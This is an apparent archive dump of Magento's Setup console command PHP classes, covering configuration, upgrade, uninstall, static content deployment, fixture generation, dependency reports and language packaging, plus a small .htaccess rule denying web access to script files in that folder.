$this->configModel->getAvailableOptions(); $this->setName('setup:config:set') ->setDescription('Creates or modifies the deployment configuration') ->setDefinition($options); parent::configure(); } /** * @inheritdoc * @SuppressWarnings(PHPMD.CyclomaticComplexity) */ protected function execute(InputInterface $input, OutputInterface $output) { $inputOptions = $input->getOptions(); $optionCollection = $this->configModel->getAvailableOptions(); $commandOptions = []; $optionsWithDefaultValues = []; foreach ($optionCollection as $option) { $commandOptions[$option->getName()] = false; $currentValue = $this->deploymentConfig->get($option->getConfigPath()); $needOverwrite = ($currentValue !== null) && ($inputOptions[$option->getName()] !== null) && ($inputOptions[$option->getName()] !== $currentValue); if ($needOverwrite) { $dialog = $this->getHelperSet()->get('question'); $question = new Question( '<question>Overwrite the existing configuration for ' . $option->getName() . '?[Y/n]</question>', 'y' ); if (strtolower($dialog->ask($input, $output, $question)) !== 'y') { $inputOptions[$option->getName()] = null; } } if ($option->getDefault() === $inputOptions[$option->getName()] && $inputOptions[$option->getName()] !== null ) { $optionsWithDefaultValues[] = $option->getName(); } } $inputOptions = array_filter( $inputOptions, function ($value) { return $value !== null; } ); $optionsToChange = array_intersect(array_keys($inputOptions), array_keys($commandOptions)); $optionsToChange = array_diff($optionsToChange, [ConfigOptionsListConstants::INPUT_KEY_SKIP_DB_VALIDATION]); $this->configModel->process($inputOptions); $optionsWithDefaultValues = array_diff( $optionsWithDefaultValues, [ConfigOptionsListConstants::INPUT_KEY_SKIP_DB_VALIDATION] ); if (count($optionsWithDefaultValues) > 0) { $defaultValuesMessage = implode(', ', $optionsWithDefaultValues); $output->writeln( '<info>We saved default values for these options: ' . $defaultValuesMessage . '.</info>' ); } else { if (count($optionsToChange) > 0) { $output->writeln('<info>You saved the new configuration.</info>'); } else { $output->writeln('<info>You made no changes to the configuration.</info>'); } } return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } /** * @inheritdoc */ protected function initialize(InputInterface $input, OutputInterface $output) { $inputOptions = $input->getOptions(); $errors = $this->configModel->validate($inputOptions); if (!empty($errors)) { foreach ($errors as $error) { $output->writeln("<error>$error</error>"); } throw new \InvalidArgumentException('Parameter validation failed'); } } } Magento/Setup/Console/Command/UninstallCommand.php000077700000003016151323623130016205 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\ConfirmationQuestion; use Magento\Setup\Model\InstallerFactory; use Magento\Framework\Setup\ConsoleLogger; class UninstallCommand extends AbstractSetupCommand { /** * @var InstallerFactory */ private $installerFactory; /** * @param InstallerFactory $installerFactory */ public function __construct(InstallerFactory $installerFactory) { $this->installerFactory = $installerFactory; parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->setName('setup:uninstall') ->setDescription('Uninstalls the Magento application'); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $helper = $this->getHelper('question'); $question = new ConfirmationQuestion('Are you sure you want to uninstall Magento?[y/N]', false); if ($helper->ask($input, $output, $question) || !$input->isInteractive()) { $installer = $this->installerFactory->create(new ConsoleLogger($output)); $installer->uninstall(); } return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/UpgradeCommand.php000077700000014032151323623130015623 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Deploy\Console\Command\App\ConfigImportCommand; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\ObjectManager; use Magento\Framework\App\State as AppState; use Magento\Framework\Console\Cli; use Magento\Framework\Exception\RuntimeException; use Magento\Framework\Config\CacheInterface; use Magento\Framework\Setup\ConsoleLogger; use Magento\Framework\Setup\Declaration\Schema\DryRunLogger; use Magento\Framework\Setup\Declaration\Schema\OperationsExecutor; use Magento\Setup\Model\InstallerFactory; use Magento\Setup\Model\SearchConfigFactory; use Symfony\Component\Console\Input\ArrayInput; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Command for updating installed application after the code base has changed. * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class UpgradeCommand extends AbstractSetupCommand { /** * Option to skip deletion of generated/code directory. */ const INPUT_KEY_KEEP_GENERATED = 'keep-generated'; /** * Installer service factory. * * @var InstallerFactory */ private $installerFactory; /** * @var DeploymentConfig */ private $deploymentConfig; /** * @var AppState */ private $appState; /** * @var SearchConfigFactory */ private $searchConfigFactory; /* * @var CacheInterface */ private $cache; /** * @param InstallerFactory $installerFactory * @param SearchConfigFactory $searchConfigFactory * @param DeploymentConfig $deploymentConfig * @param AppState|null $appState * @param CacheInterface|null $cache */ public function __construct( InstallerFactory $installerFactory, SearchConfigFactory $searchConfigFactory, DeploymentConfig $deploymentConfig = null, AppState $appState = null, CacheInterface $cache = null ) { $this->installerFactory = $installerFactory; $this->searchConfigFactory = $searchConfigFactory; $this->deploymentConfig = $deploymentConfig ?: ObjectManager::getInstance()->get(DeploymentConfig::class); $this->appState = $appState ?: ObjectManager::getInstance()->get(AppState::class); $this->cache = $cache ?: ObjectManager::getInstance()->get(CacheInterface::class); parent::__construct(); } /** * @inheritdoc */ protected function configure() { $options = [ new InputOption( self::INPUT_KEY_KEEP_GENERATED, null, InputOption::VALUE_NONE, 'Prevents generated files from being deleted. ' . PHP_EOL . 'We discourage using this option except when deploying to production. ' . PHP_EOL . 'Consult your system integrator or administrator for more information.' ), new InputOption( InstallCommand::CONVERT_OLD_SCRIPTS_KEY, null, InputOption::VALUE_OPTIONAL, 'Allows to convert old scripts (InstallSchema, UpgradeSchema) to db_schema.xml format', false ), new InputOption( OperationsExecutor::KEY_SAFE_MODE, null, InputOption::VALUE_OPTIONAL, 'Safe installation of Magento with dumps on destructive operations, like column removal' ), new InputOption( OperationsExecutor::KEY_DATA_RESTORE, null, InputOption::VALUE_OPTIONAL, 'Restore removed data from dumps' ), new InputOption( DryRunLogger::INPUT_KEY_DRY_RUN_MODE, null, InputOption::VALUE_OPTIONAL, 'Magento Installation will be run in dry-run mode', false ) ]; $this->setName('setup:upgrade') ->setDescription('Upgrades the Magento application, DB data, and schema') ->setDefinition($options); parent::configure(); } /** * @inheritdoc */ protected function execute(InputInterface $input, OutputInterface $output) { try { $request = $input->getOptions(); $keepGenerated = $input->getOption(self::INPUT_KEY_KEEP_GENERATED); $installer = $this->installerFactory->create(new ConsoleLogger($output)); $installer->updateModulesSequence($keepGenerated); $searchConfig = $this->searchConfigFactory->create(); $this->cache->clean(); $searchConfig->validateSearchEngine(); $installer->removeUnusedTriggers(); $installer->installSchema($request); $installer->installDataFixtures($request, true); if ($this->deploymentConfig->isAvailable()) { $importConfigCommand = $this->getApplication()->find(ConfigImportCommand::COMMAND_NAME); $arrayInput = new ArrayInput([]); $arrayInput->setInteractive($input->isInteractive()); $result = $importConfigCommand->run($arrayInput, $output); if ($result === Cli::RETURN_FAILURE) { throw new RuntimeException( __('%1 failed. See previous output.', ConfigImportCommand::COMMAND_NAME) ); } } if (!$keepGenerated && $this->appState->getMode() === AppState::MODE_PRODUCTION) { $output->writeln( '<info>Please re-run Magento compile command. Use the command "setup:di:compile"</info>' ); } } catch (\Exception $e) { $output->writeln('<error>' . $e->getMessage() . '</error>'); return Cli::RETURN_FAILURE; } return Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/AbstractDependenciesCommand.php000077700000007054151323623130020314 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\Utility\Files; use Magento\Framework\Component\ComponentRegistrar; use Magento\Framework\Component\DirSearch; use Magento\Framework\Filesystem\Directory\ReadFactory; use Magento\Framework\ObjectManager\ObjectManager; use Magento\Framework\View\Design\Theme\ThemePackageList; use Magento\Setup\Model\ObjectManagerProvider; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Abstract class for dependency report commands */ abstract class AbstractDependenciesCommand extends Command { /** * Input key for directory option */ const INPUT_KEY_DIRECTORY = 'directory'; /** * Input key for output path of report file */ const INPUT_KEY_OUTPUT = 'output'; /** * Object Manager * * @var ObjectManager */ private $objectManager; /** * Constructor * * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(ObjectManagerProvider $objectManagerProvider) { $this->objectManager = $objectManagerProvider->get(); parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->setDefinition( [ new InputOption( self::INPUT_KEY_OUTPUT, 'o', InputOption::VALUE_REQUIRED, 'Report filename', $this->getDefaultOutputFilename() ) ] ); parent::configure(); } /** * Build dependencies report * * @param string $outputPath * @return void */ abstract protected function buildReport($outputPath); /** * Get the default output report filename * * @return string */ abstract protected function getDefaultOutputFilename(); /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { try { /** @var \Magento\Framework\Component\ComponentRegistrar $componentRegistrar */ $componentRegistrar = $this->objectManager->get(\Magento\Framework\Component\ComponentRegistrar::class); /** @var \Magento\Framework\Component\DirSearch $dirSearch */ $dirSearch = $this->objectManager->get(\Magento\Framework\Component\DirSearch::class); /** @var \Magento\Framework\View\Design\Theme\ThemePackageList $themePackageList */ $themePackageList = $this->objectManager->get(\Magento\Framework\View\Design\Theme\ThemePackageList::class); Files::setInstance(new Files($componentRegistrar, $dirSearch, $themePackageList)); $this->buildReport($input->getOption(self::INPUT_KEY_OUTPUT)); $output->writeln('<info>Report successfully processed.</info>'); } catch (\Exception $e) { $output->writeln( '<error>Please check the path you provided. Dependencies report generator failed with error: ' . $e->getMessage() . '</error>' ); // we must have an exit code higher than zero to indicate something was wrong return \Magento\Framework\Console\Cli::RETURN_FAILURE; } return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/DeployStaticContentCommand.php000077700000013266151323623130020203 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Deploy\Console\InputValidator; use Magento\Deploy\Console\ConsoleLoggerFactory; use Magento\Deploy\Console\DeployStaticOptions as Options; use Magento\Framework\App\State; use Magento\Framework\Console\Cli; use Psr\Log\LogLevel; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\App\Cache; use Magento\Framework\App\Cache\Type\Dummy as DummyCache; use Magento\Framework\Exception\LocalizedException; use Magento\Deploy\Service\DeployStaticContent; /** * Command to Deploy Static Content * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class DeployStaticContentCommand extends Command { /** * Default language value. Always used for adminhtml, fallback if no frontend locale is supplied. */ const DEFAULT_LANGUAGE_VALUE = 'en_US'; /** * @var InputValidator */ private $inputValidator; /** * @var ConsoleLoggerFactory */ private $consoleLoggerFactory; /** * @var Options */ private $options; /** * Object manager to create various objects * * @var ObjectManagerInterface * */ private $objectManager; /** * @var State */ private $appState; /** * StaticContentCommand constructor * * @param InputValidator $inputValidator * @param ConsoleLoggerFactory $consoleLoggerFactory * @param Options $options * @param ObjectManagerProvider $objectManagerProvider */ public function __construct( InputValidator $inputValidator, ConsoleLoggerFactory $consoleLoggerFactory, Options $options, ObjectManagerProvider $objectManagerProvider ) { $this->inputValidator = $inputValidator; $this->consoleLoggerFactory = $consoleLoggerFactory; $this->options = $options; $this->objectManager = $objectManagerProvider->get(); parent::__construct(); } /** * @inheritdoc * @throws \InvalidArgumentException * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ protected function configure() { $this->setName('setup:static-content:deploy') ->setDescription('Deploys static view files') ->setDefinition($this->options->getOptionsList()); parent::configure(); } /** * @inheritdoc * @param InputInterface $input * @param OutputInterface $output * * @throws \InvalidArgumentException * @throws LocalizedException */ protected function execute(InputInterface $input, OutputInterface $output) { $time = microtime(true); $this->checkAppMode($input); $this->inputValidator->validate($input); $options = $input->getOptions(); $languageOption = $options[Options::LANGUAGE] ?: ['all']; $options[Options::LANGUAGE] = $input->getArgument(Options::LANGUAGES_ARGUMENT) ?: $languageOption; $refreshOnly = isset($options[Options::REFRESH_CONTENT_VERSION_ONLY]) && $options[Options::REFRESH_CONTENT_VERSION_ONLY]; $verbose = $output->getVerbosity() > 1 ? $output->getVerbosity() : OutputInterface::VERBOSITY_VERBOSE; $logger = $this->consoleLoggerFactory->getLogger($output, $verbose); if (!$refreshOnly) { $logger->notice(PHP_EOL . "Deploy using {$options[Options::STRATEGY]} strategy"); } $this->mockCache(); $exitCode = Cli::RETURN_SUCCESS; try { /** @var DeployStaticContent $deployService */ $deployService = $this->objectManager->create(DeployStaticContent::class, [ 'logger' => $logger ]); $deployService->deploy($options); } catch (\Throwable $e) { $logger->error('Error happened during deploy process: ' . $e->getMessage()); $exitCode = Cli::RETURN_FAILURE; } if (!$refreshOnly) { $logger->notice(PHP_EOL . "Execution time: " . (microtime(true) - $time)); } return $exitCode; } /** * Check application mode * * @param InputInterface $input * @throws LocalizedException */ private function checkAppMode(InputInterface $input): void { if (!$input->getOption(Options::FORCE_RUN) && $this->getAppState()->getMode() !== State::MODE_PRODUCTION) { throw new LocalizedException( __( 'NOTE: Manual static content deployment is not required in "default" and "developer" modes.' . PHP_EOL . 'In "default" and "developer" modes static contents are being deployed ' . 'automatically on demand.' . PHP_EOL . 'If you still want to deploy in these modes, use -f option: ' . "'bin/magento setup:static-content:deploy -f'" ) ); } } /** * Mock Cache class with dummy implementation * * @return void */ private function mockCache() { $this->objectManager->configure([ 'preferences' => [ Cache::class => DummyCache::class ] ]); } /** * Retrieve application state * * @return State */ private function getAppState() { if (null === $this->appState) { $this->appState = $this->objectManager->get(State::class); } return $this->appState; } } Magento/Setup/Console/Command/InfoAdminUriCommand.php000077700000002763151323623130016570 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Command\Command; use \Magento\Backend\Setup\ConfigOptionsList as BackendConfigOptionsList; class InfoAdminUriCommand extends Command { /** * @var \Magento\Framework\App\DeploymentConfig */ private $deploymentConfig; /** * Constructor * * @param \Magento\Framework\App\DeploymentConfig $deploymentConfig * * @SuppressWarnings(PHPMD.ExcessiveParameterList) */ public function __construct(\Magento\Framework\App\DeploymentConfig $deploymentConfig) { $this->deploymentConfig = $deploymentConfig; parent::__construct(); } /** * Initialization of the command * * @return void */ protected function configure() { $this->setName('info:adminuri') ->setDescription('Displays the Magento Admin URI'); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $output->writeln( "\nAdmin URI: /" . $this->deploymentConfig->get(BackendConfigOptionsList::CONFIG_PATH_BACKEND_FRONTNAME) . "\n" ); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/InfoCurrencyListCommand.php000077700000003516151323623130017503 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Symfony\Component\Console\Helper\TableFactory; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Command\Command; use Magento\Framework\Setup\Lists; use Magento\Framework\App\ObjectManager; /** * Command prints list of available currencies */ class InfoCurrencyListCommand extends Command { /** * List model provides lists of available options for currency, language locales, timezones * * @var Lists */ private $lists; /** * @var TableFactory */ private $tableHelperFactory; /** * @param Lists $lists * @param TableFactory $tableHelperFactory */ public function __construct(Lists $lists, TableFactory $tableHelperFactory = null) { $this->lists = $lists; $this->tableHelperFactory = $tableHelperFactory ?: ObjectManager::getInstance()->create(TableFactory::class); parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->setName('info:currency:list') ->setDescription('Displays the list of available currencies'); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $tableHelper = $this->tableHelperFactory->create(['output' => $output]); $tableHelper->setHeaders(['Currency', 'Code']); foreach ($this->lists->getCurrencyList() as $key => $currency) { $tableHelper->addRow([$currency, $key]); } $tableHelper->render(); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/GenerateFixturesCommand.php000077700000014136151323623130017525 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\ResourceConnection; use Magento\Framework\Mview\View\CollectionInterface; use Magento\Setup\Fixtures\FixtureModel; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Command generates fixtures for performance tests * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class GenerateFixturesCommand extends Command { /** * Profile argument */ const PROFILE_ARGUMENT = 'profile'; const SKIP_REINDEX_OPTION = 'skip-reindex'; /** * @var FixtureModel */ private $fixtureModel; /** * @param FixtureModel $fixtureModel */ public function __construct(FixtureModel $fixtureModel) { $this->fixtureModel = $fixtureModel; parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->setName('setup:performance:generate-fixtures') ->setDescription('Generates fixtures') ->setDefinition([ new InputArgument( self::PROFILE_ARGUMENT, InputArgument::REQUIRED, 'Path to profile configuration file' ), new InputOption( self::SKIP_REINDEX_OPTION, 's', InputOption::VALUE_NONE, 'Skip reindex' ) ]); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { try { $totalStartTime = microtime(true); $fixtureModel = $this->fixtureModel; $fixtureModel->loadConfig($input->getArgument(self::PROFILE_ARGUMENT)); $fixtureModel->initObjectManager(); $fixtureModel->loadFixtures(); $output->writeln('<info>Generating profile with following params:</info>'); foreach ($fixtureModel->getFixtures() as $fixture) { $fixture->printInfo($output); } /** @var \Magento\Setup\Fixtures\ConfigsApplyFixture $configFixture */ $configFixture = $fixtureModel ->getFixtureByName(\Magento\Setup\Fixtures\ConfigsApplyFixture::class); $configFixture && $this->executeFixture($configFixture, $output); /** @var $config \Magento\Indexer\Model\Config */ $config = $fixtureModel->getObjectManager()->get(\Magento\Indexer\Model\Config::class); $indexerListIds = $config->getIndexers(); /** @var $indexerRegistry \Magento\Framework\Indexer\IndexerRegistry */ $indexerRegistry = $fixtureModel->getObjectManager() ->create(\Magento\Framework\Indexer\IndexerRegistry::class); $indexersState = []; foreach ($indexerListIds as $indexerId) { $indexer = $indexerRegistry->get($indexerId['indexer_id']); $indexersState[$indexerId['indexer_id']] = $indexer->isScheduled(); $indexer->setScheduled(true); } foreach ($fixtureModel->getFixtures() as $fixture) { $this->executeFixture($fixture, $output); } $this->clearChangelog(); foreach ($indexerListIds as $indexerId) { /** @var $indexer \Magento\Indexer\Model\Indexer */ $indexer = $indexerRegistry->get($indexerId['indexer_id']); $indexer->setScheduled($indexersState[$indexerId['indexer_id']]); } /** @var \Magento\Setup\Fixtures\IndexersStatesApplyFixture $indexerFixture */ $indexerFixture = $fixtureModel ->getFixtureByName(\Magento\Setup\Fixtures\IndexersStatesApplyFixture::class); $indexerFixture && $this->executeFixture($indexerFixture, $output); if (!$input->getOption(self::SKIP_REINDEX_OPTION)) { $fixtureModel->reindex($output); } $totalEndTime = microtime(true); $totalResultTime = $totalEndTime - $totalStartTime; $output->writeln('<info>Total execution time: ' . gmdate('H:i:s', $totalResultTime) . '</info>'); } catch (\Exception $e) { $output->writeln('<error>' . $e->getMessage() . '</error>'); // we must have an exit code higher than zero to indicate something was wrong return \Magento\Framework\Console\Cli::RETURN_FAILURE; } return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } /** * Clear changelog after generation * * @return void */ private function clearChangelog() { $viewConfig = $this->fixtureModel->getObjectManager()->create(CollectionInterface::class); /* @var ResourceConnection $resource */ $resource = $this->fixtureModel->getObjectManager()->get(ResourceConnection::class); foreach ($viewConfig as $view) { /* @var \Magento\Framework\Mview\ViewInterface $view */ $changeLogTableName = $resource->getTableName($view->getChangelog()->getName()); if ($resource->getConnection()->isTableExists($changeLogTableName)) { $resource->getConnection()->truncateTable($changeLogTableName); } } } /** * @param \Magento\Setup\Fixtures\Fixture $fixture * @param OutputInterface $output */ private function executeFixture(\Magento\Setup\Fixtures\Fixture $fixture, OutputInterface $output) { $output->write('<info>' . $fixture->getActionTitle() . '... </info>'); $startTime = microtime(true); $fixture->execute($output); $endTime = microtime(true); $resultTime = $endTime - $startTime; $output->writeln('<info> done in ' . gmdate('H:i:s', $resultTime) . '</info>'); } } Magento/Setup/Console/Command/DependenciesShowModulesCommand.php000077700000002625151323623130021021 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\Utility\Files; use Magento\Framework\Component\ComponentRegistrar; use Magento\Setup\Module\Dependency\ServiceLocator; /** * Command for showing number of dependencies between modules */ class DependenciesShowModulesCommand extends AbstractDependenciesCommand { /** * {@inheritdoc} */ protected function configure() { $this->setDescription('Shows number of dependencies between modules') ->setName('info:dependencies:show-modules'); parent::configure(); } /** * Return default output filename for modules dependencies report * * @return string */ protected function getDefaultOutputFilename() { return 'modules-dependencies.csv'; } /** * Build circular dependencies between modules report * * @param string $outputPath * @return void */ protected function buildReport($outputPath) { $filesForParse = Files::init()->getComposerFiles(ComponentRegistrar::MODULE, false); ServiceLocator::getDependenciesReportBuilder()->build( [ 'parse' => ['files_for_parse' => $filesForParse], 'write' => ['report_filename' => $outputPath], ] ); } } Magento/Setup/Console/Command/.htaccess000077700000000177151323623130014027 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Console/Command/AbstractSetupCommand.php000077700000001762151323623130017026 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Setup\Mvc\Bootstrap\InitParamListener; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputOption; /** * An abstract class for all Magento Setup command. * It adds InitParamListener's magento-init-params option to all setup command. */ abstract class AbstractSetupCommand extends Command { /** * Initialize basic Magento Setup command * * @return void */ protected function configure() { $this->addOption( InitParamListener::BOOTSTRAP_PARAM, null, InputOption::VALUE_REQUIRED, 'Add to any command to customize Magento initialization parameters' . PHP_EOL . 'For example: "MAGE_MODE=developer&MAGE_DIRS[base][path]' . '=/var/www/example.com&MAGE_DIRS[cache][path]=/var/tmp/cache"' ); } } Magento/Setup/Console/Command/I18nPackCommand.php000077700000006143151323623130015556 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Setup\Module\I18n\ServiceLocator; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Command for i18n language packaging */ class I18nPackCommand extends Command { /**#@+ * Keys and shortcuts for input arguments and options */ const INPUT_KEY_SOURCE = 'source'; const INPUT_KEY_LOCALE = 'locale'; const INPUT_KEY_MODE = 'mode'; const INPUT_KEY_ALLOW_DUPLICATES = 'allow-duplicates'; /**#@-*/ /** * 'replace' mode value */ const MODE_REPLACE = 'replace'; /** * 'merge' mode value */ const MODE_MERGE = 'merge'; /** * {@inheritdoc} */ protected function configure() { $this->setName('i18n:pack') ->setDescription('Saves language package'); $this->setDefinition([ new InputArgument( self::INPUT_KEY_SOURCE, InputArgument::REQUIRED, 'Path to source dictionary file with translations' ), new InputArgument( self::INPUT_KEY_LOCALE, InputArgument::REQUIRED, 'Target locale for dictionary, for example "de_DE"' ), new InputOption( self::INPUT_KEY_MODE, 'm', InputOption::VALUE_REQUIRED, 'Save mode for dictionary' . PHP_EOL . '- "replace" - replace language pack by new one' . PHP_EOL . '- "merge" - merge language packages, by default "replace"', self::MODE_REPLACE ), new InputOption( self::INPUT_KEY_ALLOW_DUPLICATES, 'd', InputOption::VALUE_NONE, 'Use the --allow-duplicates parameter to allow saving duplicates of translate.' . ' Otherwise omit the parameter.' ), ]); } /** * {@inheritdoc} * @throws \InvalidArgumentException */ protected function execute(InputInterface $input, OutputInterface $output) { $generator = ServiceLocator::getPackGenerator(); $mode = $input->getOption(self::INPUT_KEY_MODE); if ($mode !== self::MODE_MERGE && $mode !== self::MODE_REPLACE) { throw new \InvalidArgumentException("Possible values for 'mode' option are 'replace' and 'merge'"); } $locale = $input->getArgument(self::INPUT_KEY_LOCALE); $generator->generate( $input->getArgument(self::INPUT_KEY_SOURCE), $locale, $input->getOption(self::INPUT_KEY_MODE), $input->getOption(self::INPUT_KEY_ALLOW_DUPLICATES) ); $output->writeln("<info>Successfully saved $locale language package.</info>"); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/ModuleUninstallCommand.php000077700000035102151323623130017354 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\Console\MaintenanceModeEnabler; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\MaintenanceMode; use Magento\Framework\Backup\Factory; use Magento\Framework\Composer\ComposerInformation; use Magento\Framework\Console\Cli; use Magento\Framework\Module\DependencyChecker; use Magento\Framework\Module\FullModuleList; use Magento\Framework\Module\PackageInfo; use Magento\Framework\Setup\BackupRollbackFactory; use Magento\Setup\Model\ModuleRegistryUninstaller; use Magento\Setup\Model\ModuleUninstaller; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Framework\Setup\Patch\PatchApplier; use Magento\Setup\Model\UninstallCollector; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\ConfirmationQuestion; /** * Command for uninstalling modules * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) * @SuppressWarnings(PHPMD.ExcessiveParameterList) */ class ModuleUninstallCommand extends AbstractModuleCommand { /** * Names of input options */ const INPUT_KEY_REMOVE_DATA = 'remove-data'; const INPUT_KEY_BACKUP_CODE = 'backup-code'; const INPUT_KEY_BACKUP_MEDIA = 'backup-media'; const INPUT_KEY_BACKUP_DB = 'backup-db'; const INPUT_KEY_NON_COMPOSER_MODULE = 'non-composer'; /** * Deployment Configuration * * @var DeploymentConfig */ private $deploymentConfig; /** * Full module list * * @var FullModuleList */ private $fullModuleList; /** * Module package info * * @var PackageInfo */ private $packageInfo; /** * Uninstall classes collector * * @var UninstallCollector */ private $collector; /** * Composer general dependency checker * * @var DependencyChecker */ private $dependencyChecker; /** * Root composer.json information * * @var ComposerInformation */ private $composer; /** * BackupRollback factory * * @var BackupRollbackFactory */ private $backupRollbackFactory; /** * Module Uninstaller * * @var ModuleUninstaller */ private $moduleUninstaller; /** * Module Registry uninstaller * * @var ModuleRegistryUninstaller */ private $moduleRegistryUninstaller; /** * @var MaintenanceModeEnabler */ private $maintenanceModeEnabler; /** * @var PatchApplier */ private $patchApplier; /** * Constructor * * @param ComposerInformation $composer * @param DeploymentConfig $deploymentConfig * @param FullModuleList $fullModuleList * @param MaintenanceMode $maintenanceMode deprecated, use $maintenanceModeEnabler instead * @param ObjectManagerProvider $objectManagerProvider * @param UninstallCollector $collector * @param ModuleUninstaller $moduleUninstaller * @param ModuleRegistryUninstaller $moduleRegistryUninstaller * @param MaintenanceModeEnabler $maintenanceModeEnabler * * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ public function __construct( ComposerInformation $composer, DeploymentConfig $deploymentConfig, FullModuleList $fullModuleList, MaintenanceMode $maintenanceMode, ObjectManagerProvider $objectManagerProvider, UninstallCollector $collector, ModuleUninstaller $moduleUninstaller, ModuleRegistryUninstaller $moduleRegistryUninstaller, MaintenanceModeEnabler $maintenanceModeEnabler = null ) { parent::__construct($objectManagerProvider); $this->composer = $composer; $this->deploymentConfig = $deploymentConfig; $this->fullModuleList = $fullModuleList; $this->packageInfo = $this->objectManager->get(\Magento\Framework\Module\PackageInfoFactory::class)->create(); $this->collector = $collector; $this->dependencyChecker = $this->objectManager->get(\Magento\Framework\Module\DependencyChecker::class); $this->backupRollbackFactory = $this->objectManager->get(\Magento\Framework\Setup\BackupRollbackFactory::class); $this->moduleUninstaller = $moduleUninstaller; $this->moduleRegistryUninstaller = $moduleRegistryUninstaller; $this->maintenanceModeEnabler = $maintenanceModeEnabler ?: $this->objectManager->get(MaintenanceModeEnabler::class); } /** * @return PatchApplier */ private function getPatchApplier() { if (!$this->patchApplier) { $this->patchApplier = $this ->objectManager->get(PatchApplier::class); } return $this->patchApplier; } /** * {@inheritdoc} */ protected function configure() { $options = [ new InputOption( self::INPUT_KEY_REMOVE_DATA, 'r', InputOption::VALUE_NONE, 'Remove data installed by module(s)' ), new InputOption( self::INPUT_KEY_BACKUP_CODE, null, InputOption::VALUE_NONE, 'Take code and configuration files backup (excluding temporary files)' ), new InputOption( self::INPUT_KEY_BACKUP_MEDIA, null, InputOption::VALUE_NONE, 'Take media backup' ), new InputOption( self::INPUT_KEY_BACKUP_DB, null, InputOption::VALUE_NONE, 'Take complete database backup' ), new InputOption( 